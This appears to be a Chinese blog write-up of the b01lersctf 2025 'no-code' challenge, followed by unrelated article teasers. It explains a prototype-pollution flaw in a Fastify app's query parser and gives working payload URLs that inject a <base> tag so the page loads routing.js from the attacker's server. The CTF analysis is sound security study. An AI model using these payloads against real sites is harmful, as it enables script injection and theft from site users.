当前位置：首页 > news >正文

js原型污染 + xss劫持base -- no-code b01lersctf 2025

news 来源：原创 2025/8/7 3:35:32

题目信息:Found this new web framework the other day—you don’t need to write any code, just JSON.

我们先来搞清楚究竟发生了什么

当我们访问 /index

/*** 处理 /:page 路径的 GET 请求* @param {Object} req - 请求对象* @param {Object} reply - 响应对象* @returns {Promise<string>} - 替换后的 HTML 页面内容*/
fastify.get("/:page", async (req, reply) => {// 获取请求的页面名称，默认为 indexconst page = req.params.page || "index";// 检查页面名称是否合法if (!/^\w+$/.test(page)) {// 页面名称不合法，返回 400 状态码和错误信息reply.code(400);return { err: "invalid page" };}// 设置 Content-Security-Policy 响应头reply.header("content-security-policy",`require-trusted-types-for 'script'; trusted-types 'none'`);// 设置响应内容类型为 text/htmlreply.type("text/html");// 异步获取页面数据并转换为 JSON 字符串，同时转义 < 字符const initial = JSON.stringify(await getPage(page, req.query)).replace(/</g, "\\x3c");// 读取 index.html 文件并替换其中的 {{initial}} 占位符return (await fs.readFile("index.html")).toString().replace(/\{\{initial\}\}/g, initial);
});

首先，对应路由的模板将被在getPage转换为对象

/*** 异步获取页面数据并替换模板占位符* @param {string} page - 页面名称* @param {Object} props - 用于替换占位符的键值对对象* @returns {Promise<Object>} - 处理后的页面数据*/
async function getPage(page, props) {// 异步读取页面的 JSON 文件并解析为对象const pageDocument = JSON.parse((await fs.readFile(`./pages/${page}.json`)).toString());// 替换页面数据中的所有模板占位符return replaceAllProps(pageDocument, props);
}

我们输入的参数会被自定义函数处理

/*** 解析扩展的查询字符串，支持嵌套参数* @param {string} query - 需要解析的查询字符串* @returns {Object} - 解析后的查询参数对象*/
function parseQuery(query) {// 移除查询字符串开头的问号query = query.replace(/^\?/, "");// 将查询字符串按 & 分割成参数数组const params = query.split("&");const result = {};// 遍历参数数组for (const param of params) {// 将每个参数按 = 分割成键值对，并对其进行 URI 解码const [key, value] = param.split("=").map(decodeURIComponent);// 如果键包含 [，说明是嵌套参数if (key.includes("[")) {// 将键按 [ 分割成多个部分，并移除每个部分末尾的 ]const parts = key.split("[").map((part) => part.replace(/]$/, ""));let curr = result;// 遍历除最后一个部分外的所有部分for (let part of parts.slice(0, -1)) {// 如果当前对象中不存在该部分对应的属性，则创建一个空对象if (curr[part] === undefined) {curr[part] = {};}// 将当前对象指向该属性curr = curr[part];}// 将值赋给最后一个部分对应的属性curr[parts[parts.length - 1]] = value;} else {// 普通参数，直接赋值result[key] = value;}}return result;
}

此处存在原型污染漏洞

输入：?filter[date][from]=2023-01-01&filter[date][to]=2023-12-31
输出：{filter: {date: {from: "2023-01-01",to: "2023-12-31"}}
}

解析后的参数对象一同与模板对象进入replaceAllProps，replaceAllProps遍历每个属性的v放入replaceProps来替换模板

/*** 递归替换对象中的所有模板占位符* @param {Object|any} obj - 需要处理的对象或值* @param {Object} props - 用于替换占位符的键值对对象* @returns {Object|any} - 处理后的对象或值*/
function replaceAllProps(obj, props) {// 如果 obj 不是对象，则直接返回if (typeof obj !== "object") {return obj;}// 如果 obj 有 attributes 属性，则替换其中的占位符if (obj.attributes !== undefined) {obj.attributes = Object.fromEntries(Array.from(Object.entries(obj.attributes)).map(([key, value]) => [key,replaceProps(value, props),]));}// 如果 obj 有 text 属性，则替换其中的占位符if (obj.text !== undefined) {obj.text = replaceProps(obj.text, props);}// 如果 obj 有 children 属性，则递归处理每个子对象if (obj.children !== undefined) {obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props));}return obj;
}

在此函数中进行替换

/*** 替换字符串中的模板占位符* @param {string} s - 包含模板占位符的字符串* @param {Object} props - 用于替换占位符的键值对对象* @returns {string} - 替换后的字符串*/
function replaceProps(s, props) {// 遍历键值对对象for (const [key, value] of Object.entries(props)) {// 使用正则表达式替换所有匹配的占位符s = s.replace(new RegExp(`{{${escapeRegex(key)}}}`, "g"), value);}// 移除所有未替换的占位符s = s.replace(/{{\w+}}/g, "");return s;
}

// 输入模板
const template = "欢迎{{user}}，今天是{{day}}，剩余{{credit}}积分";// 替换参数
const params = { user: "张三", day: "星期一",// 注意：credit 参数未提供
};// 执行替换
replaceProps(template, params); 
// 输出："欢迎张三，今天是星期一，剩余积分"

当处理完成后,所有的<都会被转义,并被插入index.html的{{initial}}

<!DOCTYPE html>
<html><head><meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><title>Writeups</title><meta name="viewport" content="width=device-width, initial-scale=1" /></head><body><div id="content"></div><script>const initial = {{initial}};</script><script src="/scripts/utils.js"></script><script src="/scripts/load.js"></script><script src="/scripts/routing.js"></script></body>
</html>

然后在前端转换为html

/*** 将JSON对象转换为DOM元素。* @param {Object|string} json - 表示DOM结构的JSON对象，或者是一个字符串。* @returns {Node} - 转换后的DOM节点。*/
function jsonToDom(json) {// 如果传入的json是字符串，则创建一个文本节点if (typeof json === "string") {return document.createTextNode(json);}// 解构json对象，获取标签名、文本内容、属性和子节点const { tag, text, attributes, children } = json;// 创建指定标签名的DOM元素const element = document.createElement(tag);// 如果存在文本内容，则设置元素的文本内容if (text !== undefined) {element.textContent = text;}// 如果存在属性，则遍历属性对象并设置元素的属性if (attributes !== undefined) {for (const [key, value] of Object.entries(attributes)) {element.setAttribute(key, value);}}// 如果存在子节点，则递归调用jsonToDom函数并将结果添加到元素中if (children !== undefined) {for (const childJson of children) {element.append(jsonToDom(childJson));}}return element;
}

// JSON输入示例
const template = {tag: "div",attributes: { class: "card" },children: [{tag: "h2",text: "用户信息",attributes: { id: "user-title" }},{tag: "p",children: ["姓名：",{tag: "span",text: "张三",attributes: { class: "username" }}]}]
};// 转换为DOM元素
const cardElement = jsonToDom(template);// 最终生成的DOM结构：
/*
<div class="card"><h2 id="user-title">用户信息</h2><p>姓名：<span class="username">张三</span></p>
</div>
*/

我该如何利用原型污染,进行xss?

似乎并模板中并没有.text,

http://127.0.0.1:8000/?__proto__[text]=A5rZ

似乎所有没有text,的children都拥有了text

<!DOCTYPE html>
<html><head><meta charset="utf-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge"/><title>Writeups</title><meta name="viewport" content="width=device-width, initial-scale=1"/></head><body><div id="content"></div><script>const initial = {"tag": "div","attributes": {},"children": [{"tag": "link","attributes": {"rel": "stylesheet","href": "/static/styles.css"},"text": "A5rZ"}, {"tag": "header","attributes": {"class": "home-header","id": "home"},"children": [{"tag": "div","attributes": {"class": "container"},"children": [{"tag": "h1","attributes": {},"text": "John Smith"}, {"tag": "p","attributes": {},"text": "Web Developer | Software Engineer | Problem Solver"}, {"tag": "p","attributes": {},"text": "Specializing in building high-quality web applications and solutions."}, {"tag": "a","attributes": {"href": "about","class": "btn"},"text": "Learn More About Me"}, " ", {"tag": "a","attributes": {"href": "projects","class": "btn"},"text": "View My Projects"}],"text": "A5rZ"}],"text": "A5rZ"}, {"tag": "footer","attributes": {},"children": [{"tag": "div","attributes": {"class": "container"},"children": [{"tag": "p","attributes": {},"text": "© 2025 John Smith. All rights reserved."}, {"tag": "a","attributes": {"href": "index"},"text": "Home"}, " | ", {"tag": "a","attributes": {"href": "about"},"text": "About"}, " | ", {"tag": "a","attributes": {"href": "projects"},"text": "Projects"}, " | ", {"tag": "a","attributes": {"href": "contact"},"text": "Contact"}],"text": "A5rZ"}],"text": "A5rZ"}],"text": "A5rZ"};</script><script src="/scripts/utils.js"></script><script src="/scripts/load.js"></script><script src="/scripts/routing.js"></script></body>
</html>

这是否意味着我也为每个没有children的children获得原型的children

http://127.0.0.1:8000/?__proto__[children]=A5rZ

<!DOCTYPE html>
<html><head><meta charset="utf-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge"/><title>Writeups</title><meta name="viewport" content="width=device-width, initial-scale=1"/></head><body><div id="content"></div><script>const initial = {"tag": "div","attributes": {},"children": [{"tag": "link","attributes": {"rel": "stylesheet","href": "/static/styles.css"},"text": "A5rZ","children": ["A", "5", "r", "Z"]}, {"tag": "header","attributes": {"class": "home-header","id": "home"},"children": [{"tag": "div","attributes": {"class": "container"},"children": [{"tag": "h1","attributes": {},"text": "John Smith","children": ["A", "5", "r", "Z"]}, {"tag": "p","attributes": {},"text": "Web Developer | Software Engineer | Problem Solver","children": ["A", "5", "r", "Z"]}, {"tag": "p","attributes": {},"text": "Specializing in building high-quality web applications and solutions.","children": ["A", "5", "r", "Z"]}, {"tag": "a","attributes": {"href": "about","class": "btn"},"text": "Learn More About Me","children": ["A", "5", "r", "Z"]}, " ", {"tag": "a","attributes": {"href": "projects","class": "btn"},"text": "View My Projects","children": ["A", "5", "r", "Z"]}],"text": "A5rZ"}],"text": "A5rZ"}, {"tag": "footer","attributes": {},"children": [{"tag": "div","attributes": {"class": "container"},"children": [{"tag": "p","attributes": {},"text": "© 2025 John Smith. All rights reserved.","children": ["A", "5", "r", "Z"]}, {"tag": "a","attributes": {"href": "index"},"text": "Home","children": ["A", "5", "r", "Z"]}, " | ", {"tag": "a","attributes": {"href": "about"},"text": "About","children": ["A", "5", "r", "Z"]}, " | ", {"tag": "a","attributes": {"href": "projects"},"text": "Projects","children": ["A", "5", "r", "Z"]}, " | ", {"tag": "a","attributes": {"href": "contact"},"text": "Contact","children": ["A", "5", "r", "Z"]}],"text": "A5rZ"}],"text": "A5rZ"}],"text": "A5rZ"};</script><script src="/scripts/utils.js"></script><script src="/scripts/load.js"></script><script src="/scripts/routing.js"></script></body>
</html>

这似乎是可能的

http://127.0.0.1:8000/?__proto__[children][tag]=h1&__proto__[children][attributes][style]=color: red&__proto__[children][text]=A5rZ

但是当我尝试更多的时候，这些属性就不会被合并

赛后 ------------------------------------------------------------------------------------------------------------

在 replaceAllProps 函数中，60行的 obj.children 赋值逻辑要求 children 必须是数组类型。即使成功注入原型污染，如果注入的不是数组结构，也会导致处理中断：

// ... existing code ...
if (obj.children !== undefined) {obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props));
}
// ... existing code ...

注意 array[]必须拥有 length,所以我们必须添加length加以伪装

http://127.0.0.1:8000/?__proto__[children][0][tag]=test&__proto__[children][length]=1

HTML `<base>` 标签解析

<base> 是 HTML 的根路径定义标签，主要用于：

基准URL设置
href 属性指定文档中所有相对URL的根路径：

<base href="https://example.com/">

默认打开方式
target 属性定义所有链接的默认打开方式（如 _blank 新窗口）

接下来,我们可以劫持base

http://127.0.0.1:8000/?__proto__[children][0][tag]=base&&__proto__[children][0][attributes][href]=http://127.0.0.1&__proto__[children][length]=1

接下来在我们的本地服务器中 /scripts/routing.js 中放置恶意脚本,因为base被篡改,/routing.js将从我们的服务器中被加载并执行

<!DOCTYPE html>
<html><head><meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><title>Writeups</title><meta name="viewport" content="width=device-width, initial-scale=1" /></head><body><div id="content"></div><script>const initial = {{initial}};</script><script src="/scripts/utils.js"></script><script src="/scripts/load.js"></script><script src="/scripts/routing.js"></script></body>
</html>

js原型污染 + xss劫持base -- no-code b01lersctf 2025

题目信息:Found this new web framework the other day—you don’t need to write any code, just JSON. 我们先来搞清楚究竟发生了什么当我们访问 /index /*** 处理 /:page 路径的 GET 请求* param {Object} req - 请求对象* param {Object} reply - 响应对象* returns {Pro…...

编程日记 2025/8/7 3:35:32

面试题：Java集合框架高频面试题总结

# Java集合框架高频面试题总结 ## 集合框架概述 1. **Java集合框架的主要组成部分** - Collection接口 - List: 有序可重复 - Set: 无序不可重复 - Queue: 队列 - Map接口: 键值对存储 2. **集合框架的继承体系** - Collection - List → Arra…...

编程日记 2025/8/3 12:00:21

【大模型ChatGPT+ArcGIS】数据处理、空间分析、可视化及多案例综合应用

在数字化和智能化的浪潮中，GIS（地理信息系统）和GPT（生成式预训练模型）的结合正日益成为推动科研、城市规划、环境监测等领域发展的关键技术。GIS以其强大的空间数据处理、先进的空间分析工具、灵活的地图制作与可视化能…...

编程日记 2025/8/7 3:28:54

使用JMETER中的JSON提取器实现接口关联

一、JSON提取器介绍 JSON提取器是JMETER工具中用于从JSON响应中提取数据的重要组件，常常用于接口关联场景中（参数传递）。二、添加JSON提取器举例（积分支付接口请求数据依赖于创建订单接口响应的payOrderId） 1.在…...

编程日记 2025/8/7 3:35:31

Filecoin存储管理：如何停止Lotus向特定存储路径写入新扇区数据

Filecoin存储管理：如何停止Lotus向特定存储路径写入新扇区数据引言背景问题场景解决方案步骤1：修改sectorstore.json文件步骤2：重新加载存储配置步骤3：验证更改技术原理替代方案最佳实践结论引言在Filecoin挖矿过程中&#x…...

编程日记 2025/8/7 3:34:08

Elasticsearch太重？它的超轻量的替代品找到了！

简要介绍在海量数据时代，快速而精准地找到所需信息至关重要。如果您正为此苦恼，或者您是 Elasticsearch 的用户，并对其资源消耗或性能有所关注，那么今天我要向您介绍一款名为 Manticore Search 的开源搜索数据库，它或…...

编程日记 2025/8/3 12:00:09

【计算机视觉】OpenCV实战项目: Fire-Smoke-Dataset：基于OpenCV的早期火灾检测项目深度解析

Fire-Smoke-Dataset：基于OpenCV的早期火灾检测项目深度解析在当今数字化时代，火灾检测技术的智能化发展至关重要。传统的火灾检测方法依赖于烟雾传感器或人工监控，往往存在响应延迟或误报的问题。而随着计算机视觉技术的飞速发展&#xff0…...

编程日记 2025/8/3 12:00:04

STM32--PWM--函数

TIM_OCInitTypeDef TIM_OCInitTypeDef 是 STM32 标准外设库中用于配置定时器输出比较（Output Compare, OC）功能的结构体，主要用于 PWM 生成、单脉冲输出等场景。 typedef struct {uint16_t TIM_OCMode; // 输出比较模式uint16_t TIM_…...

编程日记 2025/8/3 12:00:01

软件测试应用技术（3） -- 软件评测师（十六）

5 事件驱动架构软件测试 5.1 事件驱动架构软件测试概述事件驱动架构，简称EDA，是常用的架构范式中的一种，其关注事件的产生、识别、处理、响应。对于事件驱动架构系统的测试应特别注意其业务逻辑处理上的异步特性导致的缺陷和事件队列处理中…...

编程日记 2025/8/3 11:59:57

人工智能之数学基础:二次型

本文重点二次型作为线性代数领域的重要概念，架起了代数方程与几何分析之间的桥梁。从古典解析几何中的圆锥曲线方程到现代优化理论中的目标函数，二次型以其简洁的数学表达和丰富的结构特性，在数学物理、工程技术和经济金融等领域发挥着不可替代的作用。二次型的基本概念…...

编程日记 2025/8/2 18:20:32

MongoDB 创建索引原则

MongoDB索引创建原则 MongoDB索引是提高查询性能的关键工具，以下是创建索引的核心原则和最佳实践： 一、索引基础原则 ‌1. 索引本质‌：索引类似书籍目录，通过B-Tree数据结构对字段值排序存储，使查询复杂度从O(n)降为…...

编程日记 2025/8/2 18:20:30

空间复杂度与所需辅助空间**

当我们说一个算法的空间复杂度是 O(1)，通常特指“辅助空间”是 O(1)，即：除了输入数据本身之外，算法只使用常数级别的额外空间。 ✅ 正确认解： O(1) 空间复杂度 ≈ O(1) 辅助空间这表示： 不随输入规模增长…...

编程日记 2025/8/2 18:20:28

Spring Web MVC快速入门

什么是Spring Web MVC Spring Web MVC 是基于 Servlet API 构建的原始 Web 框架，从⼀开始就包含在 Spring 框架中。它的正式名称“Spring Web MVC”来⾃其源模块的名称(Spring-webmvc)，但它通常被称为"Spring MVC". View(视图) 指在应⽤程序…...

编程日记 2025/8/2 18:20:25

RT-Thread 深入系列 Part 1：RT-Thread 全景总览

摘要： 本文将从 RTOS 演进、RT-Thread 的版本分支、内核架构、核心特性、社区与生态、以及典型产品应用等多维度，全面呈现 RT-Thread 的全景图。关键词：RT-Thread、RTOS、微内核、组件化、软件包管理、SMP 1. RTOS 演进与 RT-Thread 定位 2…...

编程日记 2025/8/2 18:20:23

黄金、碳排放期货市场API接口文档

StockTV 提供了多种期货市场的数据接口，包括获取K线图表数据、查询特定期货的实时行情等。以下为对接期货市场的详细接口说明。一、获取K线图表数据通过调用/futures/kline接口，您可以获取指定期货合约的历史K线数据（例如开盘价、最高价、…...

编程日记 2025/8/2 18:20:21

SpringAI框架中的RAG知识库检索与增强生成模型详解

SpringAI框架中的RAG知识库检索与增强生成模型详解一、RAG简介 RAG（Retrieval-Augmented Generation）可以通过检索知识库，克服大模型训练完成后参数冻结的局限性，携带知识让大模型根据知识进行回答。二、SpringAI框架支持的R…...

编程日记 2025/8/2 18:20:18

LVGL- 按钮矩阵控件

1 按钮矩阵控件 lv_btnmatrix 是 LVGL（Light and Versatile Graphics Library） v8 中提供的一个非常实用的控件，用于创建带有多个按钮的矩阵布局。它常用于实现虚拟键盘、数字键盘、操作面板、选择菜单等场景，特别适用于嵌入式设…...

编程日记 2025/8/2 18:20:15

C++学习-入门到精通-【5】类模板array和vector、异常捕获

C学习-入门到精通-【5】类模板array和vector、异常捕获类模板array和vector、异常捕获 C学习-入门到精通-【5】类模板array和vector、异常捕获一、array对象array对象的声明使用array对象的例子使用常量变量指定array对象的大小二、基于范围的for语句三、利用array对象存放成…...

编程日记 2025/8/2 18:20:11

`待办事项css样式

vue <template> <div class"box"> <div class"head"> <h2>待办事项</h2> <input type"text" placeholder"请输入您的待办事项，按回车添加"> </div> <div class"main&q…...

编程日记 2025/8/2 18:20:08

spring ai alibaba 使用 SystemPromptTemplate 很方便的集成系统提示词

系统提示词可以是.st 文件了，便于修改和维护 1提示词内容： 你是一个有用的AI助手。你是一个帮助人们查找信息的人工智能助手。您的名字是{name} 你应该用你的名字和{voice}的风格回复用户的请求。每一次回答的时候都要增加一个65字以内的标题形如:【…...

编程日记 2025/8/2 18:20:05

Vue3 官方宣布淘汰 Axios，拥抱Alova.js

过去十年，Axios 凭借其简洁的API设计和浏览器/Node.js双环境支持，成为前端开发者的首选请求库。但随着现代前端框架的演进和工程化需求的升级，Alova.js 以更轻量、更智能、更符合现代开发范式的姿态登场。一、Axios的痛点 1，冗余的适配逻辑，比如Axios的通用配置（但实际…...

编程日记 2025/8/3 11:59:54

2025年数维杯C题数据收集方式分享

2025年数维杯C题”清明时节雨纷纷，何处踏青不误春？“需要我们根据题目的要求自行数据，下图为目前已经收集到的问题一二数据集，本文将为大家详细的介绍具体收集数据方式以及处理方式。通过网盘分享的文件：分享数据集 …...

编程日记 2025/8/3 11:59:49

手写 vue 源码 === ref 实现

目录响应式的基本实现 Proxy 与属性访问器 Proxy 的工作原理属性访问器（Getter/Setter） 为什么解构会丢失响应性 ref 和 toRefs 的解决方案 proxyRefs：自动解包 ref 总结 Vue3 的响应式系统是其核心特性之一，它通过 Pro…...

编程日记 2025/8/3 11:59:46

Python爬虫抓取Bilibili弹幕并生成词云

1. 引言 Bilibili（B站）是国内知名的视频分享平台，拥有海量的弹幕数据。弹幕是B站的核心特色之一，用户通过弹幕进行实时互动，这些数据对于分析视频热度、用户情感倾向等具有重要价值。本文将介绍如何利用Python爬虫技…...

编程日记 2025/8/3 11:59:44

【Python 字典(Dictionary)】

Python 中的字典（Dictionary）是最强大的键值对（key-value）数据结构，用于高效存储和访问数据。以下是字典的核心知识点： 一、基础特性键值对存储：通过唯一键（Key）快速访…...

编程日记 2025/8/3 11:59:42

k8s之探针

探针介绍： 编排工具运行时，虽说pod挂掉会在控制器的调度下会重启，出现pod重启的时候，但是pod状态是running,无法真实的反应当时pod健康状态，我们可以通过Kubernetes的探针监控到pod的实时状态。 Kubernetes三种探针类…...

编程日记 2025/8/3 11:59:38

upload-labs靶场通关详解：第三关

一、分析源代码代码注释如下： <?php // 初始化上传状态和消息变量 $is_upload false; $msg null;// 检查是否通过POST方式提交了表单 if (isset($_POST[submit])) {// 检查上传目录是否存在if (file_exists(UPLOAD_PATH)) {// 定义禁止上传的文件扩展名列表…...

编程日记 2025/8/3 11:59:36

LeetCode：101、对称二叉树

递归法： /*** Definition for a binary tree node.* public class TreeNode {* int val;* TreeNode left;* TreeNode right;* TreeNode() {}* TreeNode(int val) { this.val val; }* TreeNode(int val, TreeNode left, TreeNode right) {…...

编程日记 2025/8/3 11:59:30

zst-2001 历年真题 UML

UML - 第1题 ad UML - 第2题依赖是暂时使用对象，关联是长期连接依赖：依夜情关联：天长地久组合：组一辈子乐队聚合：好聚好散 bd UML - 第3题 adc UML - 第4题 bad UML - 第5题 d UML - 第6题 …...

编程日记 2025/8/3 11:59:21

对称加密以及非对称加密

对称加密和非对称加密是两种不同的加密方式，它们在加密原理、密钥管理、安全性和性能等方面存在区别，以下是具体分析： 加密原理对称加密：通信双方使用同一把密钥进行加密和解密。就像两个人共用一把钥匙，用这把钥匙锁…...

编程日记 2025/8/3 11:59:16

Java反射八股版

目录一、核心概念阐释 1. Class类 2. Constructor类 3. Method类 4. Field类二、典型应用场景 1. 框架开发 2. 单元测试 3. JSON序列化/反序列化三、性能考量四、安全与访问控制 1. 安全管理器限制 2. 打破封装性 3. 安全风险五、版本兼容性问题六、最佳…...

编程日记 2025/8/3 11:59:13

C++跨平台开发实践：深入解析与常见问题处理指南

一、跨平台开发基础架构设计 1.1 跨平台架构的核心原则分层设计模式： 平台抽象层(PAL)：将平台相关代码集中管理核心逻辑层：完全平台无关的业务代码平台实现层：针对不同平台的特定实现代码组织最佳实践： pro…...

编程日记 2025/8/3 11:59:03

【“星睿O6”AI PC开发套件评测】+ MTCNN 开源模型部署和测试对比

经过了前几篇文章的铺垫，从搭建 tensorflow 开发环境，到测试官方 onnx 模型部署到 NPU，接着部署自己的 mnist tensorflow 模型到 NPU。这是一个从易到难的过程，本篇文章介绍开源复杂的人脸识别模型 mtcnn 到 “星睿O6” NPU 的部署…...

编程日记 2025/8/3 11:58:59

JAVA实战开源项目：装饰工程管理系统 (Vue+SpringBoot) 附源码x

本文项目编号 T 179 ，文末自助获取源码 \color{red}{T179，文末自助获取源码} T179，文末自助获取源码目录一、系统介绍二、数据库设计三、配套教程3.1 启动教程3.2 讲解视频3.3 二次开发教程四、功能截图五、文案资料5.1 选题背景5.2 国内…...

编程日记 2025/8/3 11:58:55

centos 7 安装 java 运行环境

centos 7 安装 java 运行环境 java -version java version "1.8.0_131" Java(TM) SE Runtime Environment (build 1.8.0_131-b11) Java HotSpot(TM) 64-Bit Server VM (build 25.131-b11, mixed mode)java -version java version "1.8.0_144" Java(TM) …...

编程日记 2025/8/3 11:58:50

力扣题解：21.合并两个有序链表（C语言）

将两个升序链表合并为一个新的升序链表是一个经典的链表操作问题。可以通过递归或迭代的方法来解决。以下是解释和代码实现： 递归： 每次比较两个链表的头节点，将较小的节点添加到新链表中，并递归处理剩余部分。截至条件&#xf…...

编程日记 2025/8/3 11:58:48

iOS App 安全性探索：源码保护、混淆方案与逆向防护日常

iOS App 安全性探索：源码保护、混淆方案与逆向防护日常在 iOS 开发者的日常工作中，我们总是关注功能的完整性、性能的优化和UI的细节，但常常忽视了另一个越来越重要的问题：发布后的应用安全。尤其是对于中小团队或独立开发者&…...

编程日记 2025/8/3 6:58:49

SpringBoot默认并发处理(Tomcat)、项目限流详解

SpringBoot默认并发处理在 Spring Boot 项目中，默认情况下，同一时间能处理的请求数由内嵌的 Tomcat 服务器的线程池配置决定。默认并发处理能力请求处理流程请求到达：新请求首先进入 TCP 连接队列（最大 ma…...

编程日记 2025/8/3 6:58:44

Xterminal（或 X Terminal）通常指一类现代化的终端工具工具介绍

Xterminal（或 X Terminal）通常指一类现代化的终端工具，旨在为开发者、运维人员提供更高效、更智能的命令行操作体验。 📢提示：文章排版原因，资源链接地址放在文章结尾👇👇&#xff…...

编程日记 2025/8/3 6:58:42

如何把win10 wsl的安装目录从c盘迁移到d盘

标题：如何把win10 wsl的安装目录从c盘迁移到d盘通过microsoft store安装的 wsl 目录默认在 C:\Users[用户名]\AppData\Local\wsl 下 wsl的docker镜像以及dify的编译环境会占用大量硬盘空间，0.15.3 、1.1.3、1.3.1 三个版本的环境占用空间超过40GB [图…...

编程日记 2025/8/3 6:58:39

2025医疗信息化趋势：健康管理系统如何重构智慧医院生态

当北京协和医院的门诊大厅启用智能分诊机器人时，距离其3000公里外的三甲医院正通过健康管理系统将慢性病复诊率降低42%。这场静默发生的医疗革命，正在重新定义2025年智慧医院的建设标准。一、穿透数据孤岛的三大核心引擎最新版《智慧医院评价指标体系…...

编程日记 2025/8/3 6:58:37

java volatile关键字

volatile 是 Java 中用于保证多线程环境下变量可见性和禁止指令重排序的关键字。普通变量不加volatile修饰有可见性问题，即有线程修改该变量值，其他线程无法立即感知该变量值修改了。代码： private static int intVal 0; // 普通变量未加 …...

编程日记 2025/8/3 6:58:33

中阳策略模型：结构节奏中的方向感知逻辑

中阳策略模型：结构节奏中的方向感知逻辑在交易世界中，“节奏”与“结构”的互动远比大多数人想象得复杂。中阳研究团队在大量实战数据分析中提出一个核心观点：方向感的建立，必须以结构驱动为前提，以节奏确认为依据。 …...

编程日记 2025/8/3 6:58:30

死锁的形成

死锁的形成背景学习资源死锁的本质背景面试可能会被问到. 学习资源一个案例: https://www.bilibili.com/video/BV1pz421Y7kM 死锁的本质互相持有对方的资源. 存在资源竞争都没有释放. 可能出现死锁. insert into demo_user (no, name) values (6, ‘test1’) on dupl…...

编程日记 2025/8/3 6:58:27

每天五分钟深度学习框架pytorch：视觉工具包torchvison

本文重点在pytorch深度学习框架中，torchvision是一个非常优秀的视觉工具包，我们可以使用它加载一些著名的数据集，然后我们可以使用它来加载网络模型，比如vgg，resnet等等，还可以使用它来预处理一些图片数据，本节课程我们将学习一下它的使用方式。 torchvision的四部分…...

编程日记 2025/8/3 6:58:23

C++之运算符重载实例（日期类实现）

日期类实现 C 日期类的实现与深度解析一、代码结构概览1.1 头文件 Date.h1.2 源文件 Date.cpp 二、关键函数实现解析2.1 获取某月天数函数 GetMonthDay2.2 构造函数 Date2.3 日期加减法运算2.4 前置与后置自增/自减操作2.5 日期比较与差值计算三、代码优化与注意事项3.1 代码优…...

编程日记 2025/8/3 6:58:19